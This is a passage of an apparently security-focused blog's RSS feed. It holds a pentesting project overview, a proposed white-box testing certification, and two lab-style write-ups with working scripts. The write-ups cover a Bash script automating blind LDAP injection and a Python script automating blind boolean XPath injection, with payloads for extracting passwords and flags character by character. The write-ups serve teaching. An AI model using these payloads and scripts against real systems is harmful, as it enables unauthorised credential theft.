            <content:encoded><![CDATA[<p>As a professional in the IT industry, I am often tasked with finding solutions to problems that involve budgetary, time, and technical restraints. And while I can provide the broad strokes of what was considered, learned, and the outcome, I wanted to create a project that would allow organizations to peak inside of my thought process as well. To that end this first article will serve as a means to understand my desired outcomes and motivations in structuring this project in the way that I have.</p><p><strong>Architecture</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SNPcPF12G7aaxj8WTOdh7w.jpeg" /></figure><p>One of the critical things I wanted to convey with this project is that security should be baked into an application at inception. Those who review my project will indeed find a secure mindset being utilized, but they will also find an approach that is modern (serverless/CICD/scalable/etc…). An approach from flow chart to infrastructure to prove out concepts incrementally contributes to the stability of the final product, which are then translated to Terraform.</p><p><strong>Defensive Security</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7DcBJYXnLY8hAjff1el5Ww.jpeg" /></figure><p>After the infrastructure has been built and tested as functional, that is the best time to go back and have a look at things such as NACLs, NSGs, patching, system hardening, patching, monitoring, alerting, and logging. The scope of this project is admittedly narrow as it will be housing a WordPress application, but every opportunity to harden security will be embraced so long as it is not prohibitive in terms of availability or cost. Defense-in-depth in terms of putting up hurdles certainly, but also being made aware through alerting if a Threat Actor decides to throw payloads at the application, run scans, or engage in other suspicious activity.</p><p><strong>Offensive Security</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFz2Hq7v_xMiMKbdKeFPSg.jpeg" /></figure><p>The best way to find out if an application is secure to whatever degree is to test it, and in a demonstration of my offensive security ability I will be intentionally adding a vulnerable plugin to my WordPress application, exploiting that vulnerability, and then automating that exploit in Python. An additional dissection of the vulnerable plugin will be done with the assumption that my testing is white box (which it is), and also to demonstrate how a balanced (Purple Team) approach can provide remediation.</p><p><strong>Post-Mortem</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ydWzR-kGis9dRB7z3dSbPA.jpeg" /></figure><p>How well-equipped was my infrastructure to withstand a basic penetration test? A good post-mortem should help to understand whether or not logging/alerting was sufficient, and in addition to that demonstrate where resources should be spent in terms of spotting future areas of exploitation (code base security/WAF configuration) — and deeper considerations such as changing the web app stack, monitoring/alerting configuration(s), ACLs, etc…</p><p>Design. Build. Secure. Test.</p><p>Next up — Article 1/4: Architecture (Coming SQQN!)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64aa996aef83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind LDAP Injection Automated]]></title>
            <link>https://medium.com/@cc0a/blind-ldap-injection-automated-3f4648ca4ec2?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f4648ca4ec2</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Mon, 17 Feb 2025 17:17:35 GMT</pubDate>
            <atom:updated>2025-02-18T19:45:39.788Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*rdEE9P9r7_ZG5inC9vAlcA.jpeg" /></figure><p>LDAP or the Lightweight Directory Access Protocol is authentication software that is used by various organizations to check for information or devices on a network. LDAP Injections are carried out through an input form or the modification of parameters being sent in a request via Burp or Curl. In the case of this particular payload, we are looking for LDAP injection being confirmed by a message that indicates whether or not LDAP injection was successful.</p><p>In the case of the scenario with which this payload was generated, I utilized Bash because Python was not returning the full content of the response from the target server. I was unable to get the portion of the response which constituted a bool yes/no, and it had something to do with gzip decompression. After a while you just have to switch it up in order to get things done, and while I do love wrestling with code it’s important to be able to move forward after a certain point.</p><p>Alright, let’s have a look at the code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*5h5WYsveeLao-GR4KkrYUw.jpeg" /></figure><p>First, we’re going to go ahead and establish our headers in a var:</p><p>url=”<a href="http://ip:port/index.php">http://ip:port/index.php</a>&quot;<br>headers=(<br> “-H” “Host: ip:port”<br> “-H” “Cache-Control: max-age=0”<br> “-H” “Accept-Language: en-US,en;q=0.9”<br> “-H” “Upgrade-Insecure-Requests: 1”<br> “-H” “Origin: <a href="http://ip:port/">http://ip:port/</a>&quot;<br> “-H” “Content-Type: application/x-www-form-urlencoded”<br> “-H” “User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36”<br> “-H” “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7”<br> “-H” “Referer: <a href="http://ip:port/">http://ip:port/</a>&quot;<br> “-H” “Accept-Encoding: identity” # Disable automatic gzip compression<br> “-H” “Cookie: PHPSESSID=gab82kje0qe5o0urm8cq3btc5d”<br> “-H” “Connection: keep-alive”<br>)</p><p>We have two parameters from our captured request being utilized for injection, username and password. Both are being utilized in the case of LDAP injection. Take note of the fact that the payload is being modified with each successful char being found via parameter expansion ${}, and the asterisk is there to test for injection (for more on that read here <a href="https://www.semperis.com/blog/how-to-defend-against-ldap-injection-attacks/">https://www.semperis.com/blog/how-to-defend-against-ldap-injection-attacks/</a>)</p><p>So, each iteration of the payload will look be the following:</p><p>description=${char}*<br>description=p${char}*<br>description=pa${char}*<br>description=pas${char}*<br>description=pass${char}*</p><p>Here is the payload variable:</p><p>payload_pattern=”username=admin)(|(description=${payload}*&amp;password=invalid)”</p><p>Next, we’re going to check for the bool condition with an if statement to see whether or not the char sent is true or false:</p><p>check_success() {<br> if echo “$1” | grep -q “Login successful.”; then<br> return 0 # success<br> else<br> return 1 # not found<br> fi<br>}</p><p>Next we’re going to create a function to execute a curl command and also hold the response, and we’re calling in variables to check to see if the response is true/false:</p><p>send_request() {<br> local payload=”$1&quot;</p><p># Send POST request using curl<br> response=$(curl -s -X POST “$url” “${headers[@]}” — data “$payload”)</p><p># Check if the success message is in the response<br> if check_success “$response”; then<br> return 0 # success<br> else<br> return 1 # not successful<br> fi<br>}</p><p>We need a variable to hold the characters we’re testing for, a variable to hold the flag (or other data being exfil’d), the current position we’re testing for within the data being exfil’d, and then a variable to measure the length of our character set:</p><p>charset=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&amp;*(){}”<br>flag=””<br>position=1<br>total_chars=${#charset}</p><p>And finally, we need a while loop to do the heavy lifting of ‘ticking’ through the request being sent out with the right char, the response being sent back to see whether it’s true or false, storing the character if it is successful + appending it to the next payload being sent, add that character to the list of the successful chars being sent, and then send the revised payload to the server:</p><p>for char in $(echo $charset | fold -w1); do<br> payload=”${flag}${char}” # Build the new payload with the current flag and char</p><p>if send_request “username=admin)(|(description=${payload}*&amp;password=invalid)”; then<br> flag+=$char # Append the found character to the flag<br> echo “Found character: $char”<br> echo “Flag so far: $flag”<br> position=$((position + 1))<br> break<br> fi<br> done</p><p># Exit if the flag is complete (it might stop at a certain length or timeout)<br> if [ ${#flag} -eq $position ]; then<br> break<br> fi</p><p># Display the progress bar using pv<br> progress=$((position * 100 / total_chars))<br> echo “$progress” | pv -N “Progress” -p -t -e -a &gt; /dev/null<br>done</p><p>Finally we display our exfiltrated data:</p><p>echo “Final flag: $flag”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*yTJBNJE25Icu4Eo-2qxy1w.jpeg" /></figure><p>So, the key takeaway here is (as is always the case) learning new coding methodologies…but there’s also the lesson within the lesson, and in this case for me it was knowing when to switch from Python to Bash. There are already enough rabbit holes we’re faced with as hackers as we all know, and sometimes you have to hammer a nail with an iron skillet so long as it gets the job done.</p><p>It isn’t exactly pretty, but if it works it works.</p><p>https://github.com/cc0a/advanced_injection/tree/main/ldap_injection</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f4648ca4ec2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducing the WBTS: White Box Testing Specialist Certification]]></title>
            <link>https://medium.com/@cc0a/introducing-the-wbts-white-box-testing-specialist-certification-84899c185b0b?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/84899c185b0b</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 02:16:04 GMT</pubDate>
            <atom:updated>2025-02-17T17:19:42.039Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*vpSlhLpXGQ3XEZkeO1Xvog.jpeg" /></figure><p>How do I prove I’m capable of doing the job that I’m applying for? How do I do that over and over again without being able to speak to the hiring manager directly? Resumes being well-written and pertinent are a given at this point, and knowing what else we can do to impress upon someone offering a role that we can contribute value from Day 1 is critical for success.</p><p>Yes, I am still talking about landing a role in cyber security, and no I’m not surprised you think I might have crossed my antennae and am writing about another industry. Here’s the thing though, if we’re going to demonstrate our value to a business, we need to have a willingness to wear many hats and do so with grace and understanding towards our colleagues both on and off the security team. Tricky tricky…</p><p>So by this point we’ve established (I hope) that I’m not talking about penetration testing or red team. And no I’m not talking about blue team either, instead I am talking about an amalgamation of skills coalescing and being utilized in an effort to (you guessed it) deliver value to a business, and in turn get you into cyber security. While I am sure there are several different ways this can be done, I’ve chosen to focus on white box testing for this hypothetical certification and corresponding modules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*GDgCBa4j9VomWrL4oKNExg.jpeg" /></figure><p>Module 1: GitHub Accelerator</p><p>Yes, I’m sure you can setup a repo and drop commits to it, deal with branches, etc… but have you ever considered how insanely valuable and noteworthy it would be to get experience from improving the security of an open source project via GitHub? Or how about being able to say you worked with the team responsible for maintaining something like Django? Finding out how to do this would be critical, and in addition to this information think of how cool it would be to be taught how to spin up an app via a GitHub repo, test it for bugs and then reach out to the team with your findings? Very cool if you ask me and yes, some folks have found jobs this way!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1sOPycPKP5z_165faaV4w.jpeg" /></figure><p>Module 2: Unit Testing for Vulnerabilities</p><p>Unit testing for vulnerabilities is where offensive security and Quality Assurance get together to discover bugs. Let’s use C# as an example since it’s one of the biggest enterprise solutions out there for creating software (the other being Java), and in the case of C#/.NET there are 3 main testing frameworks that include MSTest, NUnit, and xUnit.</p><p><a href="https://medium.com/@rethinkyourunderstanding/shift-left-security-security-unit-tests-and-owasp-top-10-and-ai-key-practices-for-secure-e41b060a8057">https://medium.com/@rethinkyourunderstanding/shift-left-security-security-unit-tests-and-owasp-top-10-and-ai-key-practices-for-secure-e41b060a8057</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*LIOFUOcBtubjCrHsTnSddw.jpeg" /></figure><p>Module 3: Code Coverage</p><p>This module would cover how to scan as much of the code as possible and ensure that all portions of the code base are tested. Examples of this include:</p><p>Statement Coverage, Branch Coverage, Path Coverage, and Condition Coverage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*X9vewvA333xdVVs5nYwnFA.jpeg" /></figure><p>Module 4: Static Analyis</p><p>While there are resources for white box analysis already in HTB, I believe there would be benefits to partnering with a large, open source organization that is willing to have their code base leveraged for the purposes of teaching. This way, students could actually move around a large code base and learn how to navigate, analyze, spin up, and ultimately implement fixes where bugs are found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P-7jpfYCWffqGNaMpNqvUA.jpeg" /></figure><p>Module 5: Mutation Testing</p><p>This form of testing involves modifying or altering the source code or byte to see if the application will still run. If it does, it is then possible to see what other changes could be made to the code base and what could possibly be accomplished therein. This allows for the creation of new test cases to detect the anomalous code, assuming mutating the code is possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*xLjW-TwH1WJ51k5QBmJrEw.png" /></figure><p>To put it frankly, I would not trust any cyber security educational provider other than Hack the Box to create such a certification. I am certain they would be able to add another several modules to such a cert as I am by no means an expert. This certification would by no means be a guarantee of employment, but I think it would present an opportunity for all of us to utilize GitHub and the dev/security community in ways a lot of us simply do not yet know how to do.</p><p>I truly believe the creation of a certification like this may even allow some people to go from zero to employed in the security/dev industry without ever having worked in it before. Why? Well because they are literally contributing value in a way that’s provable and measurable, and their references would be some of the most incredible minds in this industry.</p><p>Because let’s face it, a lot of us are sick of being judged based upon factors out of our control…and wouldn’t it be nice to (just once) have someone only looking at our contributions/skills alone? The knowledge in white box testing provides someone with the skills necessary to move into Application Security, QA Testing, and other areas.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84899c185b0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind XPath Injection (Bool)]]></title>
            <link>https://medium.com/@cc0a/blind-xpath-injection-bool-df637d5e92f0?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/df637d5e92f0</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sun, 02 Feb 2025 00:01:17 GMT</pubDate>
            <atom:updated>2025-02-03T18:29:53.788Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*r08TmPUxGUUy_zEZ7rxfPQ.png" /></figure><p>XPath is a query language written for XML, although XPath injection is not to be confused with XXE Injection (External XML Entity). XXE covers vulns such as Data Exfiltration, SSRF, DOS, and RCE, while XPath injection is used for Bypassing Authentication, Unauthorized Data Access, Query Manipulation, and Denial of Service. When looking at XPath Injection, it is important to consider the underlying structure of a given XML document, because it will greatly influence how we go about mapping the nodes of a given XPath injection-vulnerable app:</p><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt; <br> &lt;company&gt;</p><p>&lt;employee id=”101&quot;&gt; <br>&lt;name&gt;John Doe&lt;/name&gt; <br>&lt;position&gt;Software Engineer&lt;/position&gt; <br>&lt;department&gt;IT&lt;/department&gt; <br>&lt;email&gt;john.doe@example.com&lt;/email&gt; <br>&lt;salary&gt;80000&lt;/salary&gt; &lt;/employee&gt;</p><p>&lt;employee id=”102&quot;&gt; <br>&lt;name&gt;Jane Smith&lt;/name&gt; <br>&lt;position&gt;Security Analyst&lt;/position&gt; <br>&lt;department&gt;Cybersecurity&lt;/department&gt; <br>&lt;email&gt;jane.smith@example.com&lt;/email&gt; <br>&lt;salary&gt;90000&lt;/salary&gt; <br>&lt;/employee&gt; <br>&lt;/company&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Iwttezv2rTWw7SA7WQh2Lw.jpeg" /></figure><p>When it comes to <strong>Blind</strong> XPath injection on a bool basis, we’re looking for a response from the target that changes based upon a true vs. a false request. When attempting to quantify a true vs. a false result, utilizing the initial test payload to see if XPath injection is possible will return a ‘true’ result to be shown via the attempted action being performed being to be returned in the response (assuming it is possible).</p><p>Example of false vs. true response:</p><p>User does not exit — False<br>Message sent to user — True</p><p>First, we’re going to check for the length of the node with the following payload:</p><p>‘ or string-length(name(/*[1]))=1 and ‘1’=’1</p><p>The send one in the above payload is specifying as to whether or not that is the number of characters in the name of the root node. For instance, if the root node were ‘company’, then it would be 7. Once we have determined the number of characters the root node contains, we can then iterate through every ascii character in order to exfiltrate the name of the node via the following payload:</p><p>‘ or substring(name(/*[1]),1,1)=’a’ and ‘1’=’1</p><p>In this payload the second ‘1’ from the left is actually a selector that determines which position inside of the contained data we are pointing to and testing for via the ‘a’ contained in the payload. So, if we were testing for a lowercase x in the 3rd position, the payload would be the following:</p><p>‘ or substring(name(/*[1]),3,1)=’x’ and ‘1’=’1</p><p>So now we know based on the output above that the root node is ‘company’, we now need to look at the child nodes, and for the sake of expedience let’s there are two nodes under company, one will be username and the other will be password.</p><p>Here is how we look into the second node, and in this scenario we’re assuming that we’ve already discovered the first node was username, and the node below username is password. So, we’re going to refer to the second node via /*[2] and we’re going to test for the string being 8 characters long which password of course is:</p><p>‘ or string-length(name(/company/*[2]))=8 and ‘1’=’1 → TRUE</p><p>And then finally…we want the contents of the password node, NOT the name of the node, but the actual contents. Again, first we check for length:</p><p>‘ or string-length(/company/username[1]/password)=21 and ‘1’=’1 → TRUE</p><p>Okay, so now we know that the password length is 21, and we can use Burp’s Intruder to pull out the chars, but we’re attempting to use code to solve these challenges, right?</p><p><em>Sidenote: Constructing this payload was pretty difficult for me , it did not come easy and while ChatGPT did help, ultimately it was banging my head against the wall that made the difference. Do not be afraid to get lost temporarily while solving problems in code!</em></p><p>Here’s the payload as it’s used in Burp:</p><p>‘+or+substring(/company/username[1]/password,1,1)=’a’+and+’1&#39;=’1</p><p>Looks a bit different than the rest of the payloads in this article because we’re using URL encoding. I’m going to forego digging into that as there’s a presumption you have some experience with app pentesting if you are reading this article.</p><p>Okay, so let’s go over the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*TrBV5qidGE-uha9uhaOYZw.png" /></figure><p><strong>First, we’re going to call in requests and tqdm — requests will allow us to send/receive/display requests without getting overly verbose, while tqdm gives us a progress bar while our code is running:</strong></p><p><em>import</em> requests<br><em>from</em> tqdm <em>import</em> tqdm</p><p><strong>Next, we need chars to iterate over in order to perform exfil:</strong></p><p>ascii_chars = [chr(i) <em>for</em> i <em>in</em> range(32, 127)]</p><p><strong>Here’s a var to hold our target ip:</strong></p><p>url = “http://ip:port/index.php&quot;</p><p><strong>A headers object allows us to mimic a request sent from a browser:</strong></p><p>headers = {<br>“Host”: “ip:port”,<br>“Content-Type”: “application/x-www-form-urlencoded”,<br>“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36”,<br>“Connection”: “close”<br>}</p><p><strong>A variable to hold our payload is next:</strong></p><p>base_payload = “username=test’+or+substring(/accounts/acc[1]/password,{count},1)=’{char}’+and+’1&#39;=’1&amp;msg=blah”</p><p><strong>In this case I didn’t see any other option other than nested for loops, one to iterate through the password node data’s position, and the second to iterate through the ascii characters to find a match:</strong></p><p><em>for</em> count <em>in</em> range(1, 36):</p><p><em>for</em> char <em>in</em> tqdm(ascii_chars, <em>desc</em>=f”Testing count {count}”, <em>unit</em>=”char”):</p><p><strong>Next we need a variable to hold the payload as it is being modified</strong></p><p>payload = base_payload.format(<em>count</em>=count, <em>char</em>=char)</p><p><strong>A var is created to hold the response from the server:</strong></p><p>response = requests.post(url, <em>headers</em>=headers, <em>data</em>=payload)</p><p><strong>Next we test for whether or not the response contains a bool true or false:</strong></p><p><em>if</em> “Message successfully sent!” in response.text:</p><p><strong>If the message does contain a bool true, we return the character that got us the true result as it is now exfiltrated data:</strong></p><p>print(f”Success: Char ‘{char}’ at count {count} is correct.”)</p><p><strong>After the inner loop completes we break, until the outer loop goes through the full counter the program continues to run</strong></p><p><em>break</em></p><p>Here’s a link to the script:</p><p><a href="https://github.com/cc0a/advanced_injection/blob/main/xpath_injection/xpath_injection.py">https://github.com/cc0a/advanced_injection/blob/main/xpath_injection/xpath_injection.py</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df637d5e92f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>